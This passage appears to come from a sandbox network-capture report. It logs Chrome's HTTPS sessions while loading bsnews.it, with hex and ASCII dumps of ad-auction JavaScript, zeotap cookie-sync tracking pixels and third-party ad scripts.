t;e.done?n(e.value):(t=e.value,t instanceof i?t:new i((f
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 20 63 28 2e 2e 2e 65 29 7b 72 28 29 26 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 61 2c 2e 2e 2e 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 2e 2e 2e 65 29 7b 72 28 29 26 26 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 61 2c 2e 2e 2e 65 29 7d 76 61 72 20 6c 2c 62 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 5b 65 2e 4c 4f 41 44 45 44 3d 30 5d 3d 22 4c 4f 41 44 45 44 22 2c 65 5b 65 2e 46 41 49 4c 45 44 3d 31 5d 3d 22 46 41 49 4c 45 44 22 2c 65 5b 65 2e 4e 4f 54 5f 52 45 41 44 59 3d 32 5d 3d 22 4e 4f 54 5f 52 45 41 44 59 22 7d 28 6c 7c 7c 28 6c 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 55 4e 4e 49 4e 47 3d 22 72 75 6e 6e 69 6e 67 22 2c 65 2e 4e 4f 5f 42 49 44 3d 22 6e 6f 42 69 64 22 2c 65 2e 42 49 44 3d 22 62 69 64 52 65 73 Data Ascii: nction c(...e){r()&&console.warn(a,...e)}function u(...e){r()&&console.error(a,...e)}var l,b;!function(e){e[e.LOADED=0]="LOADED",e[e.FAILED=1]="FAILED",e[e.NOT_READY=2]="NOT_READY"}(l\|\|(l={})),function(e){e.RUNNING="running",e.NO_BID="noBid",e.BID="bidRes
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 69 66 28 21 52 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 66 28 6e 75 6c 6c 21 3d 74 3f 74 3a 60 45 78 70 65 63 74 65 64 20 76 61 6c 75 65 20 74 6f 20 62 65 20 72 65 63 6f 72 64 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 27 24 7b 74 79 70 65 6f 66 20 65 7d 27 60 29 7d 63 6f 6e 73 74 20 53 3d 28 65 2c 74 29 3d 3e 52 28 65 29 26 26 74 20 69 6e 20 65 3b 63 6c 61 73 73 20 45 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 73 74 6f 72 65 41 75 63 74 69 6f 6e 73 3d 6e 65 77 20 4d 61 70 2c 74 68 69 73 2e 73 74 6f 72 65 43 6f 72 65 42 69 64 52 65 73 70 6f 6e 73 65 73 3d 6e 65 77 20 4d 61 70 2c 74 68 69 73 2e 6d 61 70 70 69 6e 67 41 64 55 6e 69 74 4e 61 6d 65 41 75 63 74 69 6f 6e 73 3d 6e 65 77 20 4d 61 70 2c 74 68 69 73 2e 6d 61 70 70 69 6e 67 41 64 Data Ascii: if(!R(e))throw new f(null!=t?t:`Expected value to be record, but received '${typeof e}'`)}const S=(e,t)=>R(e)&&t in e;class E{constructor(){this.storeAuctions=new Map,this.storeCoreBidResponses=new Map,this.mappingAdUnitNameAuctions=new Map,this.mappingAd
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 68 69 6c 64 72 65 6e 2e 70 75 73 68 28 74 29 2c 74 7d 6e 65 78 74 28 65 29 7b 74 68 69 73 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2e 66 6f 72 45 61 63 68 28 28 74 3d 3e 7b 74 72 79 7b 63 6f 6e 73 74 20 69 3d 74 68 69 73 2e 70 72 6f 63 65 73 73 69 6e 67 43 68 61 69 6e 2e 72 65 64 75 63 65 28 28 28 65 2c 74 29 3d 3e 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 29 72 65 74 75 72 6e 20 74 28 65 29 7d 29 2c 65 29 3b 76 6f 69 64 20 30 21 3d 3d 69 26 26 74 2e 6f 6e 45 76 65 6e 74 28 69 29 7d 63 61 74 63 68 28 65 29 7b 74 2e 6f 6e 45 72 72 6f 72 26 26 74 2e 6f 6e 45 72 72 6f 72 28 65 29 7d 7d 29 29 2c 74 68 69 73 2e 63 68 69 6c 64 72 65 6e 2e 66 6f 72 45 61 63 68 28 28 74 3d 3e 74 2e 6e 65 78 74 28 65 29 29 29 7d 7d 63 6f 6e 73 74 20 6a 3d 65 3d 3e 7b 72 65 74 75 Data Ascii: hildren.push(t),t}next(e){this.subscriptions.forEach((t=>{try{const i=this.processingChain.reduce(((e,t)=>{if(void 0!==e)return t(e)}),e);void 0!==i&&t.onEvent(i)}catch(e){t.onError&&t.onError(e)}})),this.children.forEach((t=>t.next(e)))}}const j=e=>{retu
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 26 28 74 2e 6e 61 74 69 76 65 3d 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 6e 61 74 69 76 65 29 2c 76 6f 69 64 20 30 21 3d 3d 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 76 69 64 65 6f 26 26 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 76 69 64 65 6f 2e 70 6c 61 79 65 72 53 69 7a 65 26 26 28 74 2e 76 69 64 65 6f 3f 74 2e 76 69 64 65 6f 2e 70 6c 61 79 65 72 53 69 7a 65 3d 5b 2e 2e 2e 74 2e 76 69 64 65 6f 2e 70 6c 61 79 65 72 53 69 7a 65 2c 2e 2e 2e 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 76 69 64 65 6f 2e 70 6c 61 79 65 72 53 69 7a 65 5d 3a 74 2e 76 69 64 65 6f 3d 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 76 69 64 65 6f 29 2c 76 6f 69 64 20 30 21 3d 3d 69 2e 6d 65 64 69 61 54 79 70 65 73 2e 62 61 6e 6e 65 72 26 26 28 74 2e 62 61 6e 6e 65 72 3f 28 74 2e 62 61 6e 6e 65 72 2e Data Ascii: &(t.native=i.mediaTypes.native),void 0!==i.mediaTypes.video&&i.mediaTypes.video.playerSize&&(t.video?t.video.playerSize=[...t.video.playerSize,...i.mediaTypes.video.playerSize]:t.video=i.mediaTypes.video),void 0!==i.mediaTypes.banner&&(t.banner?(t.banner.
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 3a 74 2e 74 61 67 73 29 26 26 76 6f 69 64 20 30 21 3d 3d 69 3f 69 3a 5b 5d 29 2e 66 69 6c 74 65 72 28 28 65 3d 3e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 29 2e 66 69 6c 74 65 72 28 28 65 3d 3e 65 2e 6c 65 6e 67 74 68 3e 30 26 26 65 2e 6c 65 6e 67 74 68 3c 32 35 36 7c 7c 73 2e 74 65 73 74 28 65 29 29 29 7d 2c 57 3d 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 28 65 3d 3e 65 2e 70 6c 61 63 65 6d 65 6e 74 49 64 7c 7c 65 2e 7a 6f 6e 65 49 64 7c 7c 65 2e 73 69 74 65 49 64 7c 7c 76 6f 69 64 20 30 29 28 65 29 3b 69 66 28 74 29 72 65 74 75 72 6e 60 73 6c 6f 74 3a 24 7b 74 7d 60 7d 2c 5f 3d 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 7b 68 61 73 55 73 65 72 49 64 3a 22 6e 6f 74 41 76 61 69 6c 61 62 6c 65 22 2c 75 73 65 72 49 64 50 72 6f 76 69 64 65 72 4c 69 73 74 Data Ascii: :t.tags)&&void 0!==i?i:[]).filter((e=>"string"==typeof e)).filter((e=>e.length>0&&e.length<256\|\|s.test(e)))},W=e=>{const t=(e=>e.placementId\|\|e.zoneId\|\|e.siteId\|\|void 0)(e);if(t)return`slot:${t}`},_=e=>{const t={hasUserId:"notAvailable",userIdProviderList
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 29 3b 69 66 28 21 69 7c 7c 21 73 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 50 49 20 76 65 72 73 69 6f 6e 20 61 6e 64 20 43 6f 6e 73 65 6e 74 20 73 74 72 69 6e 67 20 6d 75 73 74 20 62 65 20 75 6e 69 71 75 65 20 77 69 74 68 69 6e 20 61 20 62 69 64 20 72 65 71 75 65 73 74 20 61 72 72 61 79 22 29 3b 72 65 74 75 72 6e 28 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 7b 75 73 65 72 43 6f 6e 73 65 6e 74 53 74 61 74 65 3a 22 6e 6f 74 41 76 61 69 6c 61 62 6c 65 22 2c 75 73 65 72 43 6f 6e 73 65 6e 74 56 65 72 73 69 6f 6e 3a 22 6e 6f 74 41 76 61 69 6c 61 62 6c 65 22 7d 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 65 29 72 65 74 75 72 6e 20 74 3b 6c 65 74 20 69 3d 21 31 2c 73 3d 21 31 3b 69 66 28 65 2e 61 70 69 56 65 72 73 69 6f 6e 26 26 31 21 3d 3d 65 2e 61 70 69 56 Data Ascii: );if(!i\|\|!s)throw new Error("API version and Consent string must be unique within a bid request array");return(e=>{const t={userConsentState:"notAvailable",userConsentVersion:"notAvailable"};if(void 0===e)return t;let i=!1,s=!1;if(e.apiVersion&&1!==e.apiV
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 6e 67 74 68 3e 30 2c 30 3d 3d 3d 6e 2e 6c 65 6e 67 74 68 7c 7c 30 3d 3d 3d 6f 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 29 2c 7b 75 73 65 72 43 6f 6e 73 65 6e 74 53 74 61 74 65 3a 22 6e 6f 74 41 76 61 69 6c 61 62 6c 65 22 7d 29 7d 7d 72 65 74 75 72 6e 20 74 2e 75 73 65 72 43 6f 6e 73 65 6e 74 53 74 61 74 65 3d 69 26 26 73 3f 22 61 63 63 65 70 74 65 64 22 3a 22 72 65 66 75 73 65 64 22 2c 74 7d 29 28 65 5b 30 5d 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6f 6e 74 65 78 74 3d 65 2e 63 6f 6e 74 65 78 74 7c 7c 7b 7d 2c 65 2e 63 6f 6e 74 65 78 74 2e 70 62 6a 73 3d 7b 73 6f 75 72 63 65 3a 22 70 62 6a 73 3a 68 65 6c 70 65 72 73 22 7d 2c 24 28 65 Data Ascii: ngth>0,0===n.length\|\|0===o.length)return Object.assign(Object.assign({},t),{userConsentState:"notAvailable"})}}return t.userConsentState=i&&s?"accepted":"refused",t})(e[0])}catch(e){return e.context=e.context\|\|{},e.context.pbjs={source:"pbjs:helpers"},$(e
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 65 2e 69 64 29 29 3b 72 65 74 75 72 6e 20 74 2e 66 69 6e 64 49 6e 64 65 78 28 28 74 3d 3e 74 3d 3d 3d 65 2e 63 6f 64 65 29 29 7d 28 65 29 5d 5d 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 64 28 60 5b 70 75 62 73 74 61 63 6b 47 6f 6f 67 6c 65 54 61 67 5d 20 24 7b 65 7d 60 29 7d 7d 7d 7d 3b 63 6f 6e 73 74 20 4b 3d 65 3d 3e 7b 63 6f 6e 73 74 20 74 3d 65 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 26 26 74 2e 61 70 69 52 65 61 64 79 26 26 76 6f 69 64 20 30 21 3d 3d 74 2e 63 6d 64 26 26 76 6f 69 64 20 30 21 3d 3d 74 2e 70 75 62 61 64 73 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 70 75 62 61 64 73 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 70 75 62 61 64 73 28 29 2e 72 65 66 72 65 Data Ascii: e.id));return t.findIndex((t=>t===e.code))}(e)]]}catch(e){return void d(`[pubstackGoogleTag] ${e}`)}}}};const K=e=>{const t=e;if(void 0!==t&&t.apiReady&&void 0!==t.cmd&&void 0!==t.pubads&&"function"==typeof t.pubads){if("function"==typeof t.pubads().refre
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 3c 31 32 38 3f 69 5b 6e 2b 2b 5d 3d 65 3a 65 3c 32 30 34 38 3f 28 69 5b 6e 2b 2b 5d 3d 65 3e 3e 36 7c 31 39 32 2c 69 5b 6e 2b 2b 5d 3d 36 33 26 65 7c 31 32 38 29 3a 28 69 5b 6e 2b 2b 5d 3d 65 3e 3e 31 32 7c 32 32 34 2c 69 5b 6e 2b 2b 5d 3d 65 3e 3e 36 26 36 33 7c 31 32 38 2c 69 5b 6e 2b 2b 5d 3d 36 33 26 65 7c 31 32 38 29 7d 65 3d 69 7d 66 6f 72 28 73 3d 30 3b 73 3c 65 2e 6c 65 6e 67 74 68 3b 73 2b 2b 29 74 2e 5f 76 61 6c 75 65 5b 31 35 5d 5e 3d 65 5b 73 5d 2c 69 28 29 7d 28 65 29 2c 74 2e 5f 76 61 6c 75 65 2e 72 65 64 75 63 65 28 28 28 65 2c 74 29 3d 3e 65 2b 28 22 30 30 22 2b 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 32 29 29 2c 22 22 29 7d 2c 6e 65 3d 28 65 2c 2e 2e 2e 74 29 3d 3e 7b 69 66 28 30 3d 3d 3d 74 2e 6c 65 6e 67 74 Data Ascii: <128?i[n++]=e:e<2048?(i[n++]=e>>6\|192,i[n++]=63&e\|128):(i[n++]=e>>12\|224,i[n++]=e>>6&63\|128,i[n++]=63&e\|128)}e=i}for(s=0;s<e.length;s++)t._value[15]^=e[s],i()}(e),t._value.reduce(((e,t)=>e+("00"+t.toString(16)).slice(-2)),"")},ne=(e,...t)=>{if(0===t.lengt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.4	49978	104.22.51.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	707	OUT	GET /?zdid=648&env=mWeb&eventType=pageview HTTP/1.1 Host: spl.zeotap.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	1053	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close access-control-allow-credentials: true access-control-allow-headers: * access-control-allow-origin: https://bsnews.it set-cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; Path=/; Domain=.zeotap.com; Max-Age=31536000; SameSite=None; Secure set-cookie: zsc=%AE%02%D3%0B%0Bb%FB%E5%E0%3D%CFm%7CN%D3%E2%87%F5d%B0Z%0Aw%1E%19%E9%E6%3E%85%C82%1D%C7%E6_R%D8%3A%26%BA%81%8D%BE%80%3B%8C%F1%F1l%C2%06%B7%BC%1C%3F.%1Bb%AE%A1%96Yl%E3%15%A0%AE%5D%AE%8A%F6V%3AYCg%7F%A1UA%00%C2%C1%8B%C1%87k%08R%7B%E4%D2%14zm%5D%C09%F4%40Gg%C7%1693iw%82%23%A4%D7%D6%19%81c%3A%9FW%F3%08%DEgV%D5V2%7Fd%8A%F1%3B%2C%F9%18%0F%0F%B72L%B0.%B4%B2%95T%D7%87%03%BF%8A%97Ha%C9%D1%60%AB; Path=/; Domain=.zeotap.com; Max-Age=86400; SameSite=None; Secure vary: Origin via: 1.1 google CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=2592000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 86b660a90e0172e7-IAD
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 31 61 39 32 0d 0a 3c 69 6d 67 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 69 62 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 3a 2f 2f 6d 77 7a 65 6f 6d 2e 7a 65 6f 74 61 70 2e 63 6f 6d 2f 6d 77 3f 61 64 6e 78 73 5f 75 69 64 3d 24 55 49 44 26 7a 70 61 72 74 6e 65 72 69 64 3d 32 26 65 6e 76 3d 6d 57 65 62 26 65 76 65 6e 74 54 79 70 65 3d 70 61 67 65 76 69 65 77 26 69 64 5f 6d 69 64 5f 34 3d 35 62 39 35 61 33 64 62 2d 31 61 33 61 2d 34 63 35 64 2d 37 62 63 34 2d 38 30 35 66 31 32 38 64 38 35 31 62 26 72 65 71 49 64 3d 32 31 32 63 33 65 64 30 2d 33 64 64 38 2d 34 37 35 30 2d 36 30 36 63 2d 38 38 39 32 63 37 65 64 64 65 64 36 26 7a 64 69 64 3d 36 34 38 27 3e 0a 3c 69 6d 67 20 Data Ascii: 1a92<img style='display:none' src='https://ib.adnxs.com/getuid?https://mwzeom.zeotap.com/mw?adnxs_uid=$UID&zpartnerid=2&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648'><img
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 6c 61 79 3a 6e 6f 6e 65 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 72 63 2e 74 61 62 6f 6f 6c 61 2e 63 6f 6d 2f 73 67 2f 7a 65 6f 74 61 70 2f 31 2f 63 6d 3f 65 6e 76 3d 6d 57 65 62 26 65 76 65 6e 74 54 79 70 65 3d 70 61 67 65 76 69 65 77 26 69 64 5f 6d 69 64 5f 34 3d 35 62 39 35 61 33 64 62 2d 31 61 33 61 2d 34 63 35 64 2d 37 62 63 34 2d 38 30 35 66 31 32 38 64 38 35 31 62 26 72 65 71 49 64 3d 32 31 32 63 33 65 64 30 2d 33 64 64 38 2d 34 37 35 30 2d 36 30 36 63 2d 38 38 39 32 63 37 65 64 64 65 64 36 26 7a 64 69 64 3d 36 34 38 26 72 65 64 69 72 65 63 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 77 7a 65 6f 6d 2e 7a 65 6f 74 61 70 2e 63 6f 6d 25 32 46 6d 77 25 33 46 63 69 64 25 33 44 25 33 43 54 55 49 44 25 33 45 25 32 36 7a 70 61 72 74 6e 65 72 Data Ascii: lay:none' src='https://trc.taboola.com/sg/zeotap/1/cm?env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648&redirect=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%3CTUID%3E%26zpartner
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 6d 77 25 33 46 63 69 64 25 33 44 25 32 34 25 37 42 44 44 5f 55 55 49 44 25 37 44 25 32 36 7a 70 61 72 74 6e 65 72 69 64 25 33 44 33 31 34 25 32 36 65 6e 76 25 33 44 6d 57 65 62 25 32 36 65 76 65 6e 74 54 79 70 65 25 33 44 70 61 67 65 76 69 65 77 25 32 36 69 64 5f 6d 69 64 5f 34 25 33 44 35 62 39 35 61 33 64 62 2d 31 61 33 61 2d 34 63 35 64 2d 37 62 63 34 2d 38 30 35 66 31 32 38 64 38 35 31 62 25 32 36 72 65 71 49 64 25 33 44 32 31 32 63 33 65 64 30 2d 33 64 64 38 2d 34 37 35 30 2d 36 30 36 63 2d 38 38 39 32 63 37 65 64 64 65 64 36 25 32 36 7a 64 69 64 25 33 44 36 34 38 27 3e 0a 3c 69 6d 67 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 73 70 2e 61 64 66 61 72 6d 31 2e 61 64 69 74 69 6f 6e 2e 63 Data Ascii: mw%3Fcid%3D%24%7BDD_UUID%7D%26zpartnerid%3D314%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648'><img style='display:none' src='https://dsp.adfarm1.adition.c
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 70 2e 63 6f 6d 2f 6d 77 3f 70 69 64 3d 24 7b 70 72 6f 66 69 6c 65 5f 69 64 7d 26 7a 70 61 72 74 6e 65 72 69 64 3d 36 33 37 26 65 6e 76 3d 6d 57 65 62 26 65 6e 76 3d 6d 57 65 62 26 65 76 65 6e 74 54 79 70 65 3d 70 61 67 65 76 69 65 77 26 69 64 5f 6d 69 64 5f 34 3d 35 62 39 35 61 33 64 62 2d 31 61 33 61 2d 34 63 35 64 2d 37 62 63 34 2d 38 30 35 66 31 32 38 64 38 35 31 62 26 72 65 71 49 64 3d 32 31 32 63 33 65 64 30 2d 33 64 64 38 2d 34 37 35 30 2d 36 30 36 63 2d 38 38 39 32 63 37 65 64 64 65 64 36 26 7a 64 69 64 3d 36 34 38 27 3e 0a 3c 69 6d 67 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 63 6d 73 2e 61 6e 61 6c 79 74 69 63 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 63 6d 73 3f 70 61 72 74 6e 65 72 5f 69 Data Ascii: p.com/mw?pid=${profile_id}&zpartnerid=637&env=mWeb&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648'><img style='display:none' src='https://cms.analytics.yahoo.com/cms?partner_i
2024-03-28 08:51:18 UTC	1334	IN	Data Raw: 64 2e 6e 65 74 2f 75 6d 2f 76 32 3f 70 61 72 74 6e 65 72 3d 7a 65 6f 74 61 70 26 65 6e 76 3d 6d 57 65 62 26 65 76 65 6e 74 54 79 70 65 3d 70 61 67 65 76 69 65 77 26 69 64 5f 6d 69 64 5f 34 3d 35 62 39 35 61 33 64 62 2d 31 61 33 61 2d 34 63 35 64 2d 37 62 63 34 2d 38 30 35 66 31 32 38 64 38 35 31 62 26 72 65 71 49 64 3d 32 31 32 63 33 65 64 30 2d 33 64 64 38 2d 34 37 35 30 2d 36 30 36 63 2d 38 38 39 32 63 37 65 64 64 65 64 36 26 7a 64 69 64 3d 36 34 38 27 3e 0a 3c 69 6d 67 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 61 61 78 2d 65 75 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 73 2f 64 63 6d 3f 70 69 64 3d 63 64 61 33 34 31 63 62 2d 31 39 36 63 2d 34 64 61 38 2d 38 39 37 62 2d Data Ascii: d.net/um/v2?partner=zeotap&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648'><img style='display:none' src='https://aax-eu.amazon-adsystem.com/s/dcm?pid=cda341cb-196c-4da8-897b-
2024-03-28 08:51:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	49971	152.199.6.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	526	OUT	GET /js/products.js HTTP/1.1 Host: cstatic.weborama.fr Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	438	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Age: 366696 Cache-Control: max-age=604800 Content-Type: text/javascript Date: Thu, 28 Mar 2024 08:51:18 GMT Etag: "623373749+gzip+ident" Expires: Thu, 04 Apr 2024 08:51:17 GMT Last-Modified: Tue, 19 Mar 2024 08:38:54 GMT P3P: CP="NOI DSP COR CURa DEVa PSAa OUR STP UNI DEM" Server: ECAcc (dcd/7D2E) Vary: Accept-Encoding X-Cache: HIT Content-Length: 20176 Connection: close
2024-03-28 08:51:18 UTC	16383	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 73 65 6e 64 5f 61 66 74 65 72 5f 63 6d 70 5f 63 68 65 63 6b 28 69 2c 61 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 5f 5f 74 63 66 61 70 69 29 61 3d 5f 61 70 5f 61 6e 2e 64 65 63 6f 72 61 74 65 55 52 4c 28 61 29 2c 5f 63 72 65 61 74 65 5f 65 6c 65 6d 65 6e 74 5f 6f 66 5f 67 69 76 65 6e 5f 74 79 70 65 28 69 2c 61 29 3b 65 6c 73 65 7b 63 6f 6e 73 74 20 5f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 3f 2e 6c 69 73 74 65 6e 65 72 49 64 26 26 77 69 6e 64 6f 77 2e 5f 5f 74 63 66 61 70 69 28 22 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 2c 32 2c 28 29 3d 3e 7b 7d 2c 65 2e 6c 69 73 74 65 6e 65 72 49 64 29 7d 3b 61 2b 3d 2d 31 3d 3d 61 2e 69 6e 64 65 78 4f 66 28 22 3f 22 Data Ascii: function _send_after_cmp_check(i,a){if("function"!=typeof window.__tcfapi)a=_ap_an.decorateURL(a),_create_element_of_given_type(i,a);else{const _=function(e){e?.listenerId&&window.__tcfapi("removeEventListener",2,()=>{},e.listenerId)};a+=-1==a.indexOf("?"
2024-03-28 08:51:18 UTC	1	IN	Data Raw: 38 Data Ascii: 8
2024-03-28 08:51:18 UTC	3792	IN	Data Raw: 35 36 39 31 3a 31 2c 34 38 35 36 39 32 3a 31 2c 34 38 35 36 39 33 3a 31 2c 34 38 35 36 39 34 3a 31 2c 34 38 35 36 39 35 3a 31 2c 34 38 35 36 39 36 3a 31 2c 34 38 35 36 39 37 3a 31 2c 34 38 35 36 39 38 3a 31 2c 34 38 35 36 39 39 3a 31 2c 34 38 35 37 30 30 3a 31 2c 34 38 35 37 30 31 3a 31 2c 34 38 35 37 30 32 3a 31 2c 34 38 35 37 30 33 3a 31 2c 34 38 35 37 30 34 3a 31 2c 34 38 35 37 30 35 3a 31 2c 34 38 35 37 30 36 3a 31 2c 34 38 35 37 30 37 3a 31 2c 34 38 35 37 30 38 3a 31 2c 34 38 35 37 30 39 3a 31 2c 34 38 35 37 31 30 3a 31 2c 34 38 35 37 31 31 3a 31 2c 34 38 35 37 31 32 3a 31 2c 34 38 35 37 31 33 3a 31 2c 34 38 35 37 31 34 3a 31 2c 34 38 35 37 31 35 3a 31 2c 34 38 35 37 31 36 3a 31 2c 34 38 35 37 31 37 3a 31 2c 34 38 35 37 31 38 3a 31 2c 34 38 35 37 31 Data Ascii: 5691:1,485692:1,485693:1,485694:1,485695:1,485696:1,485697:1,485698:1,485699:1,485700:1,485701:1,485702:1,485703:1,485704:1,485705:1,485706:1,485707:1,485708:1,485709:1,485710:1,485711:1,485712:1,485713:1,485714:1,485715:1,485716:1,485717:1,485718:1,48571

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	49980	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	513	OUT	GET /route.js HTTP/1.1 Host: js.tncid.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
